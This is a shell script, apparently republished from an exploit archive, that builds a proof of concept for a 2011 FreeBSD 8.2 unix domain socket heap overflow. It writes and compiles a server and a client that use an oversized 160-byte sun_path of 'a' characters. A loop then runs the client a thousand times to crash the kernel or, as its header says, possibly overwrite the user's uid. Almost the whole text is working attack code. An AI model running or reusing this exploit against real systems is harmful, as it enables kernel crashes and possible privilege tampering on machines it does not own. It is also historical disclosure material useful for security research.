1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 |
#!/bin/sh # # fbsd-uipcsock-heap.sh, by Shaun Colley <scolley@ioactive.com>, 29/09/11 # # proof-of-concept crash for the freebsd unix domain sockets heap # overflow.this was tested on freebsd 8.2-RELEASE.just a PoC for now. # # see advisory & patches for details: # http://www.securityfocus.com/archive/1/519864/30/0/threaded # # this PoC will usually result in a kernel panic with a read access # violation at 0x616161XX but sometimes the kernel will not crash straight # away (particularly if you shorten the length of 'sun_path' -- try 140 bytes), # and your uid (see output of <code>id</code>) may have been modified to the # decimal equivalent of 0x61616161 during the heap smash # write server code to srv.c cat > srv.c << _EOF #include <stdio.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/types.h> #include <unistd.h> #include <string.h> struct socky { short sun_family; char sun_path[160]; }; int connhandler(int incoming) { char buffer[256]; int n = 0; n = read(incoming, buffer, 256); buffer[n] = 0; printf("%s\n", buffer); n = sprintf(buffer, "fbsd uipc socket heap overflow"); write(incoming, buffer, n); close(incoming); return 0; } int main(void) { struct socky overfl0w; int sock, incoming; socklen_t alen; pid_t child; char buf[160]; sock = socket(PF_UNIX, SOCK_STREAM, 0); if(sock < 0) { printf("socket() failed!\n"); return 1; } memset(&overfl0w, 0, sizeof(struct socky)); overfl0w.sun_family = AF_UNIX; memset(buf, 0x61, sizeof(buf)); buf[sizeof(buf)-1] = 0x00; strcpy(overfl0w.sun_path, buf); if(bind(sock, (struct sockaddr *)&overfl0w, sizeof(struct socky)) != 0) { printf("bind() failed!\n"); return 1; } if(listen(sock, 5) != 0) { printf("listen() failed!\n"); return 1; } while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1) { child = fork(); if(child == 0) { return connhandler(incoming); } close(incoming); } close(sock); return 0; } _EOF gcc srv.c -o srv # write the client code to client.c cat > client.c << _EOF #include <stdio.h> #include <sys/socket.h> #include <sys/un.h> #include <unistd.h> #include <string.h> struct socky { short sun_family; char sun_path[160]; }; int main(void) { struct socky overfl0w; intsock, n; char buffer[256], buf[160]; sock = socket(PF_UNIX, SOCK_STREAM, 0); if(sock < 0) { printf("socket() failed!\n"); return 1; } /* start with a clean address structure */ memset(&overfl0w, 0, sizeof(struct sockaddr_un)); overfl0w.sun_family = AF_UNIX; memset(buf, 0x61, sizeof(buf)); buf[sizeof(buf)-1] = 0x00; strcpy(overfl0w.sun_path, buf); if(connect(sock, (struct sockaddr *)&overfl0w, sizeof(struct socky)) != 0) { printf("connect() failed!\n"); return 1; } n = snprintf(buffer, 256, "panic"); write(sock, buffer, n); n = read(sock, buffer, 256); buffer[n] = 0; printf("%s\n", buffer); close(sock); return 0; } _EOF gcc client.c -o client # crash doesn't happen straight away, so loop the client to speed it up cat > loop.c << _EOF #include <stdio.h> int main() { int i; for(i = 0; i < 1000; i++) { system("./client"); } } _EOF gcc loop.c -o loop ./srv & ./loop |